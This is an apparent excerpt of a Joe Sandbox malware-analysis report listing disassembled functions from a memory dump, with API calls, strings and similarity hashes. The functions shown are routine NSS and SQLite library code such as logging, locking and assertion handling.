Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 4a5c8c6d3cc764a4d004db8956d88e325360b90c3b79c4c52264c10033cb58c7
Instruction ID: db2710aee2a8151740a7c73de04e8016710335e35bc95e957ae8fd6319ea7f07
Opcode Fuzzy Hash: 4a5c8c6d3cc764a4d004db8956d88e325360b90c3b79c4c52264c10033cb58c7
Instruction Fuzzy Hash: 1F512731A052458BEB01CA6B86F07FFBBF5AF46348F188166E894A7F41F32598458792

Function 6CBA7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CBA7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CBA7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CBA7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBA7F2E

Strings

database corruption, xrefs: 6CBA7EE2, 6CBA7F23
%s at line %d of [%.10s], xrefs: 6CBA7EE7, 6CBA7F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBA7ED8, 6CBA7F08, 6CBA7F19

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: a506757f17366d258bf9b468a10e97d7c21c49b113ebf3bda1bf397361b14a10
Instruction ID: ada2be848f83584d54508e09e7604420ec2a78dd35c57c3165ae1700994111b3
Opcode Fuzzy Hash: a506757f17366d258bf9b468a10e97d7c21c49b113ebf3bda1bf397361b14a10
Instruction Fuzzy Hash: 7461D474A0C2859FDB04CFA4C890B6A37BAFF45304F1449A8EC486BB56D771EC46CBA1

Function 6CB8FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB8FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB8FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB8FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB8FE83

Part of subcall function 6CB8FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CB8FEFA
Part of subcall function 6CB8FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CB8FF3B

Strings

database corruption, xrefs: 6CB8FD6E, 6CB8FE30
%s at line %d of [%.10s], xrefs: 6CB8FD73, 6CB8FE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB8FD64, 6CB8FE26

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 2b8e7c9f5bfa69b24000a011ee20e7e9fffd486671130b407f6f7e3cbc0f94a0
Instruction ID: 943176d0e953aef8242c317dac67f45c7a26174d326f53ceeb50b5f74cd36662
Opcode Fuzzy Hash: 2b8e7c9f5bfa69b24000a011ee20e7e9fffd486671130b407f6f7e3cbc0f94a0
Instruction Fuzzy Hash: DC51AC70A01255DFDB04CFA9D8D0AAEB7B1FF48308F144069EA05ABB52E730EC54CBA1

Function 6CCD2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCD2FFD
sqlite3_initialize.NSS3 ref: 6CCD3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CCD3032
sqlite3_mprintf.NSS3(6CD3AAF9,?), ref: 6CCD3073
sqlite3_free.NSS3(?), ref: 6CCD30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CCD30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CCD30BB

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 40ed17b0e8980ca24a2a369a37e2a2831e187408d904952a8c85596cb1094f9b
Instruction ID: b4cdfa3dde96189a5f61aecbdaa2310f72ddfda47ef30e581fb262e629e0553f
Opcode Fuzzy Hash: 40ed17b0e8980ca24a2a369a37e2a2831e187408d904952a8c85596cb1094f9b
Instruction Fuzzy Hash: 4B41B371600606AFDB00CF25D880A8AB7B5FF44368F198629ED5987B40F771F956CBD1

Function 6CC3ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CC3ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC3AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC3AD23

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC3AD39

Strings

C_MessageDecryptFinal, xrefs: 6CC3ACE1
(CK_INVALID_HANDLE), xrefs: 6CC3AD1C
hSession = 0x%x, xrefs: 6CC3ACFE, 6CC3AD0E

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 0d333cced6f00888d3152b75250c08e48a7690003820e2f00edcf31b0c40e984
Instruction ID: 1975120b6542bef3384ee4960a58d06478248bcf0dc2c1b5c25a7b68837aca3b
Opcode Fuzzy Hash: 0d333cced6f00888d3152b75250c08e48a7690003820e2f00edcf31b0c40e984
Instruction Fuzzy Hash: 0121F870600164AFFF01DBA5FC88B7A3379AB8274DF040065E60D97A61EB389819C7A2

Function 6CC18CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CC2124D,00000001), ref: 6CC18D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CC2124D,00000001), ref: 6CC18D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CC2124D,00000001), ref: 6CC18D73
PR_Unlock.NSS3(?,?,?,?,?,6CC2124D,00000001), ref: 6CC18D8C

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

PR_Unlock.NSS3(?,?,?,?,?,6CC2124D,00000001), ref: 6CC18DBA

Strings

KRAM, xrefs: 6CC18CF9
KRAM, xrefs: 6CC18D3E

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: d3ecf5b1ba5d6205da096f880d43d6d290664061582e6021acbef0dff63ccde9
Instruction ID: 568a9048dbbe833adbd0bb8cb859e0d524a251250648e7993ac66513b06a33aa
Opcode Fuzzy Hash: d3ecf5b1ba5d6205da096f880d43d6d290664061582e6021acbef0dff63ccde9
Instruction Fuzzy Hash: 8D2194B5A1C7028FDB00EF7AC48455AB7F4FF45314F1689AAD99887B01E734D842CB91

Function 6CD10ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CD10EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CD10EFA

Part of subcall function 6CBFAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CBFAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD10F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD10F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD10F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD10F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CD10ED9, 6CD10EE5, 6CD10F06, 6CD10F0B
Aborting, xrefs: 6CD10EB3

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: efbbbb894daa775c787631fa77adbd8a9812b62c8661b44434d2a1f6a175dc40
Instruction ID: 482b49c458f473ad21b900382f5cc934b1546a633bc8d948a88940c82958fff2
Opcode Fuzzy Hash: efbbbb894daa775c787631fa77adbd8a9812b62c8661b44434d2a1f6a175dc40
Instruction Fuzzy Hash: 9E01D6B5900104BBEF11AF54EC45C9B3F7DEF873A4B414025FE0987B21D635E92087A2

Function 6CCD4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CCD4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCD4DE0

Strings

invalid, xrefs: 6CCD4DB8
misuse, xrefs: 6CCD4DD5
API call with %s database connection pointer, xrefs: 6CCD4DBD
%s at line %d of [%.10s], xrefs: 6CCD4DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCD4DCB

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: f4f5564064872374f13d5664ecab1a4e90d980ac5fd8c3f1438d395d436ba484
Instruction ID: cc29a333489c7ac9cbc137c8bbeb2f2161b5da49b7f5dff18572dd152354836d
Opcode Fuzzy Hash: f4f5564064872374f13d5664ecab1a4e90d980ac5fd8c3f1438d395d436ba484
Instruction Fuzzy Hash: 40F02411F145782BEB008B55CC12F8633555F13718F0719E0EF087BEA2E215B848C280

Function 6CCD4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CCD4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCD4E4D

Strings

invalid, xrefs: 6CCD4E25
misuse, xrefs: 6CCD4E42
API call with %s database connection pointer, xrefs: 6CCD4E2A
%s at line %d of [%.10s], xrefs: 6CCD4E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCD4E38

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 9d63300773a18ec283e271515ef23b508254cf470470d2e639442bbe370fac2d
Instruction ID: 4d7110c7ec42c6ef15791f42d2a57f54dce867eeb323d72299fa5418473adbbe
Opcode Fuzzy Hash: 9d63300773a18ec283e271515ef23b508254cf470470d2e639442bbe370fac2d
Instruction Fuzzy Hash: 0AF05211F4483ABBFA108361CC10F86B3854B03329F0B84A2EB0C37EA2E605A8288291

Function 6CC09FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC0A086
EnterCriticalSection.KERNEL32(?), ref: 6CC0A09B
PR_Unlock.NSS3(?), ref: 6CC0A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC0A0E9
TlsGetValue.KERNEL32 ref: 6CC0A11B
EnterCriticalSection.KERNEL32(?), ref: 6CC0A12F
PR_Unlock.NSS3(?), ref: 6CC0A148

Part of subcall function 6CC21A40: PR_Now.NSS3(?,00000000,6CC028AD,00000000,?,6CC1F09A,00000000,6CC028AD,6CC093B0,?,6CC093B0,6CC028AD,00000000,?,00000000), ref: 6CC21A65

Part of subcall function 6CC21940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CC24126,?), ref: 6CC21966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC0A1A3

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 1779a8e0c98cc2b0ca3085b81597555fbbb4cc1da6b11da8780a48f2eea106ab
Instruction ID: eb7b4470643540c1624c140810ad39111f55af192dd835d4a690a314bccb35b5
Opcode Fuzzy Hash: 1779a8e0c98cc2b0ca3085b81597555fbbb4cc1da6b11da8780a48f2eea106ab
Instruction Fuzzy Hash: 4651D7B1B002059BEB109F7ACC44AAB77B9AFC634CF154529DD19D7B01FB32D846C6A1

Function 6CC40C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CC41444,?,00000001,?,00000000,00000000,?,?,6CC41444,?,?,00000000,?,?), ref: 6CC40CB3

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CC41444,?,00000001,?,00000000,00000000,?,?,6CC41444,?), ref: 6CC40DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CC41444,?,00000001,?,00000000,00000000,?,?,6CC41444,?), ref: 6CC40DEC

Part of subcall function 6CC60F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CC02AF5,?,?,?,?,?,6CC00A1B,00000000), ref: 6CC60F1A
Part of subcall function 6CC60F10: malloc.MOZGLUE(00000001), ref: 6CC60F30
Part of subcall function 6CC60F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC60F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CC41444,?,00000001,?,00000000,00000000,?), ref: 6CC40DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CC41444,?,00000001,?,00000000), ref: 6CC40E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CC41444,?,00000001,?,00000000,00000000,?), ref: 6CC40E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CC41444,?,00000001,?,00000000,00000000,?,?,6CC41444,?,?,00000000), ref: 6CC40E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CC41444,?,00000001,?,00000000,00000000,?), ref: 6CC40E79

Part of subcall function 6CC51560: TlsGetValue.KERNEL32(00000000,?,6CC20844,?), ref: 6CC5157A
Part of subcall function 6CC51560: EnterCriticalSection.KERNEL32(?,?,?,6CC20844,?), ref: 6CC5158F
Part of subcall function 6CC51560: PR_Unlock.NSS3(?,?,?,?,6CC20844,?), ref: 6CC515B2

Part of subcall function 6CC1B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CC21397,00000000,?,6CC1CF93,5B5F5EC0,00000000,?,6CC21397,?), ref: 6CC1B1CB
Part of subcall function 6CC1B1A0: free.MOZGLUE(5B5F5EC0,?,6CC1CF93,5B5F5EC0,00000000,?,6CC21397,?), ref: 6CC1B1D2

Part of subcall function 6CC189E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CC188AE,-00000008), ref: 6CC18A04
Part of subcall function 6CC189E0: EnterCriticalSection.KERNEL32(?), ref: 6CC18A15
Part of subcall function 6CC189E0: memset.VCRUNTIME140(6CC188AE,00000000,00000132), ref: 6CC18A27
Part of subcall function 6CC189E0: PR_Unlock.NSS3(?), ref: 6CC18A35

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 3df4208873e0e9a7acf17c7223bd4a76e66239d0918054563cbc3be373d1a381
Instruction ID: d8947f1fad6e2c3b708ca16a63dbe93a78f7fb491204f6a14d197251ce2dfb3a
Opcode Fuzzy Hash: 3df4208873e0e9a7acf17c7223bd4a76e66239d0918054563cbc3be373d1a381
Instruction Fuzzy Hash: 3451D7F6E002005FEB009F69DC81EBB37A8AF5521CF558464EC0597B12FB35ED2986A2

Function 6CBF6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CBF6ED8
sqlite3_value_text.NSS3(?,?), ref: 6CBF6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CBF6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CBF6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CBF6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CBF7010
sqlite3_value_blob.NSS3(?,?), ref: 6CBF701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CBF7052

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: acc761d205d7e8644b39090946f42d9e1fea74109150024ea86dbeb00333c97a
Instruction ID: 4e86d047e0727f411f2e507dfa22890edae0f3b2ef53f78d3424f875fee50e54
Opcode Fuzzy Hash: acc761d205d7e8644b39090946f42d9e1fea74109150024ea86dbeb00333c97a
Instruction Fuzzy Hash: 2361A2B1E142858FEF00CF68C8407EEB7B2AF45308F184165D825ABB51E7729D1BCB91

Function 6CC68F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CC67313), ref: 6CC68FBB

Part of subcall function 6CC607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CC08298,?,?,?,6CBFFCE5,?), ref: 6CC607BF
Part of subcall function 6CC607B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC607E6
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC6081B
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC60825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CC67313), ref: 6CC69012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CC67313), ref: 6CC6903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CC67313), ref: 6CC6909E
